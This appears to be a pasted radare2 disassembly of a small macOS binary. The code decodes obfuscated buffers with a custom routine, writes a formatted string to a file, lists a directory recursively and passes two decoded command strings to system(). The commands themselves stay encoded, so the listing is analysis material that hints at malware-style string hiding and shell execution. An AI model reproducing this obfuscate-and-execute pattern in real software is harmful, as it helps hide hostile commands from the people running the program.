- │ ││ 0x100001cba 0f298500c6ff. movaps xmmword [local_3a00h], xmm0
- │ ││ 0x100001cc1 0f2805f80e00. movaps xmm0, xmmword [0x100002bc0] ; [0x100002bc0:16]=-1
- │ ││ 0x100001cc8 0f298510c6ff. movaps xmmword [local_39f0h], xmm0
- │ ││ 0x100001ccf 0f2805fa0e00. movaps xmm0, xmmword [0x100002bd0] ; [0x100002bd0:16]=-1
- │ ││ 0x100001cd6 0f298520c6ff. movaps xmmword [local_39e0h], xmm0
- │ ││ 0x100001cdd 0f2805fc0e00. movaps xmm0, xmmword [0x100002be0] ; [0x100002be0:16]=-1
- │ ││ 0x100001ce4 0f298530c6ff. movaps xmmword [local_39d0h], xmm0
- │ ││ 0x100001ceb 0f2805fe0e00. movaps xmm0, xmmword [0x100002bf0] ; [0x100002bf0:16]=-1
- │ ││ 0x100001cf2 0f298540c6ff. movaps xmmword [local_39c0h], xmm0
- │ ││ 0x100001cf9 0f2805000f00. movaps xmm0, xmmword [0x100002c00] ; [0x100002c00:16]=-1
- │ ││ 0x100001d00 0f298550c6ff. movaps xmmword [local_39b0h], xmm0
- │ ││ 0x100001d07 0f2805020f00. movaps xmm0, xmmword [0x100002c10] ; [0x100002c10:16]=-1
- │ ││ 0x100001d0e 0f298560c6ff. movaps xmmword [local_39a0h], xmm0
- │ ││ 0x100001d15 0f2805040f00. movaps xmm0, xmmword [0x100002c20] ; [0x100002c20:16]=-1
- │ ││ 0x100001d1c 0f298570c6ff. movaps xmmword [local_3990h], xmm0
- │ ││ 0x100001d23 0f2805060f00. movaps xmm0, xmmword [0x100002c30] ; [0x100002c30:16]=-1
- │ ││ 0x100001d2a 0f298580c6ff. movaps xmmword [local_3980h], xmm0
- │ ││ 0x100001d31 0f2805080f00. movaps xmm0, xmmword [0x100002c40] ; [0x100002c40:16]=-1
- │ ││ 0x100001d38 0f298590c6ff. movaps xmmword [local_3970h], xmm0
- │ ││ 0x100001d3f 0f28050a0f00. movaps xmm0, xmmword [0x100002c50] ; [0x100002c50:16]=-1
- │ ││ 0x100001d46 0f2985a0c6ff. movaps xmmword [local_3960h], xmm0
- │ ││ 0x100001d4d 0f28050c0f00. movaps xmm0, xmmword [0x100002c60] ; [0x100002c60:16]=-1
- │ ││ 0x100001d54 0f2985b0c6ff. movaps xmmword [local_3950h], xmm0
- │ ││ 0x100001d5b 0f28050e0f00. movaps xmm0, xmmword [0x100002c70] ; [0x100002c70:16]=-1
- │ ││ 0x100001d62 0f2985c0c6ff. movaps xmmword [local_3940h], xmm0
- │ ││ 0x100001d69 0f2805100f00. movaps xmm0, xmmword [0x100002c80] ; [0x100002c80:16]=-1
- │ ││ 0x100001d70 0f2985d0c6ff. movaps xmmword [local_3930h], xmm0
- │ ││ 0x100001d77 0f2805120f00. movaps xmm0, xmmword [0x100002c90] ; [0x100002c90:16]=-1
- │ ││ 0x100001d7e 0f2985e0c6ff. movaps xmmword [local_3920h], xmm0
- │ ││ 0x100001d85 0f2805140f00. movaps xmm0, xmmword [0x100002ca0] ; [0x100002ca0:16]=-1
- │ ││ 0x100001d8c 0f2985f0c6ff. movaps xmmword [local_3910h], xmm0
- │ ││ 0x100001d93 0f2805160f00. movaps xmm0, xmmword [0x100002cb0] ; [0x100002cb0:16]=-1
- │ ││ 0x100001d9a 0f298500c7ff. movaps xmmword [local_3900h], xmm0
- │ ││ 0x100001da1 c68510c7ffff. mov byte [local_38f0h], 0
- │ ││ 0x100001da8 488dbdc0c5ff. lea rdi, [local_3a40h]
- │ ││ 0x100001daf e87c010000 call func.homemade.decode_buffer
- │ ││ 0x100001db4 4889c1 mov rcx, rax
- │ ││ 0x100001db7 4c8da520c7ff. lea r12, [local_38e0h]
- │ ││ 0x100001dbe be00000000 mov esi, 0 ; const char*
- │ ││ 0x100001dc3 ba00280000 mov edx, 0x2800 ; ...
- │ ││ 0x100001dc8 31c0 xor eax, eax
- │ ││ 0x100001dca 4c89e7 mov rdi, r12 ; char *s
- │ ││ 0x100001dcd 4d89f8 mov r8, r15
- │ ││ 0x100001dd0 4c8b8dc0b8ff. mov r9, qword [local_4740h]
- │ ││ 0x100001dd7 e84a0a0000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││ 0x100001ddc 66c785cbb8ff. mov word [local_4735h], 0x77 ; 'w'
- │ ││ 0x100001de5 4c8db5d0f7ff. lea r14, [local_830h]
- │ ││ 0x100001dec 488db5cbb8ff. lea rsi, [local_4735h] ; const char*
- │ ││ 0x100001df3 4c89f7 mov rdi, r14 ; const char * filename
- │ ││ 0x100001df6 e8790a0000 call sym.imp.fopen ; file*fopen(const char *filename,
- │ ││ 0x100001dfb 4889c3 mov rbx, rax
- │ ││ 0x100001dfe 4c89e7 mov rdi, r12 ; const char * s
- │ ││ 0x100001e01 e8ec0a0000 call sym.imp.strlen ; size_t strlen(const char *s)
- │ ││ 0x100001e06 be01000000 mov esi, 1 ; size_t size
- │ ││ 0x100001e0b 4c89e7 mov rdi, r12 ; const void *ptr
- │ ││ 0x100001e0e 4889c2 mov rdx, rax ; size_t nitems
- │ ││ 0x100001e11 4889d9 mov rcx, rbx ; FILE *stream
- │ ││ 0x100001e14 e8790a0000 call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
- │ ││ 0x100001e19 4889df mov rdi, rbx ; FILE *stream
- │ ││ 0x100001e1c e8470a0000 call sym.imp.fclose ; int fclose(FILE *stream)
- │ ││ 0x100001e21 4c89f7 mov rdi, r14
- │ ││ 0x100001e24 e857090000 call ls_dir_recursive
- │ ││ 0x100001e29 0f2805900e00. movaps xmm0, xmmword [0x100002cc0] ; [0x100002cc0:16]=-1
- │ ││ 0x100001e30 0f2985a0bdff. movaps xmmword [local_4260h], xmm0
- │ ││ 0x100001e37 c785b0bdffff. mov dword [local_4250h], 0x84bc963c
- │ ││ 0x100001e41 c685b4bdffff. mov byte [local_424ch], 0
- │ ││ 0x100001e48 488dbda0bdff. lea rdi, [local_4260h]
- │ ││ 0x100001e4f e8dc000000 call func.homemade.decode_buffer
- │ ││ 0x100001e54 4889c1 mov rcx, rax
- │ ││ 0x100001e57 4c8da5c0c1ff. lea r12, [local_3e40h]
- │ ││ 0x100001e5e 31f6 xor esi, esi ; const char*
- │ ││ 0x100001e60 ba00040000 mov edx, 0x400 ; ...
- │ ││ 0x100001e65 31c0 xor eax, eax
- │ ││ 0x100001e67 4c89e7 mov rdi, r12 ; char *s
- │ ││ 0x100001e6a 4d89f8 mov r8, r15
- │ ││ 0x100001e6d e8b4090000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││ 0x100001e72 0f2805570e00. movaps xmm0, xmmword [0x100002cd0] ; [0x100002cd0:16]=-1
- │ ││ 0x100001e79 0f298580bdff. movaps xmmword [local_4280h], xmm0
- │ ││ 0x100001e80 c78590bdffff. mov dword [local_4270h], 0x84bc9679
- │ ││ 0x100001e8a c68594bdffff. mov byte [local_426ch], 0
- │ ││ 0x100001e91 488dbd80bdff. lea rdi, [local_4280h]
- │ ││ 0x100001e98 e893000000 call func.homemade.decode_buffer
- │ ││ 0x100001e9d 4889c1 mov rcx, rax
- │ ││ 0x100001ea0 488d9dc0bdff. lea rbx, [local_4240h]
- │ ││ 0x100001ea7 31f6 xor esi, esi ; const char*
- │ ││ 0x100001ea9 ba00040000 mov edx, 0x400 ; ...
- │ ││ 0x100001eae 31c0 xor eax, eax
- │ ││ 0x100001eb0 4889df mov rdi, rbx ; char *s
- │ ││ 0x100001eb3 4d89f0 mov r8, r14
- │ ││ 0x100001eb6 e86b090000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││ 0x100001ebb 4c89e7 mov rdi, r12 ; const char * string
- │ ││ 0x100001ebe e83b0a0000 call sym.imp.system ; int system(const char *string)
- │ ││ 0x100001ec3 4889df mov rdi, rbx ; const char * string
- │ ││ 0x100001ec6 e8330a0000 call sym.imp.system ; int system(const char *string)
- │ ││ 0x100001ecb c685cdb8ffff. mov byte [local_4733h], 0x25 ; '%'
- │ ││ 0x100001ed2 c685ceb8ffff. mov byte [local_4732h], 0x73 ; 's'
- │ ││ 0x100001ed9 c685cfb8ffff. mov byte [local_4731h], 0
- │ ││ 0x100001ee0 c785b2b8ffff. mov dword [local_474eh], 0x656e6f44
- │ ││ 0x100001eea 66c785b6b8ff. mov word [local_474ah], 0xa
- │ ││ 0x100001ef3 488dbdcdb8ff. lea rdi, [local_4733h] ; const char * format
- │ ││ 0x100001efa 488db5b2b8ff. lea rsi, [local_474eh]
- │ ││ 0x100001f01 31c0 xor eax, eax
- │ ││ 0x100001f03 e8b4090000 call sym.imp.printf ; int printf(const char *format)
- │ ││ 0x100001f08 bf37000000 mov edi, 0x37 ; '7' ; int status
- │ ││ 0x100001f0d e850090000 call sym.imp.exit ; void exit(int status)
- │ │└─────> 0x100001f12 bffe000000 mov edi, 0xfe ; int status
- │ │ 0x100001f17 e846090000 call sym.imp.exit ; void exit(int status)
- │ └──────> 0x100001f1c bf0f000000 mov edi, 0xf ; int status
- └ 0x100001f21 e83c090000 call sym.imp.exit ; void exit(int status)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
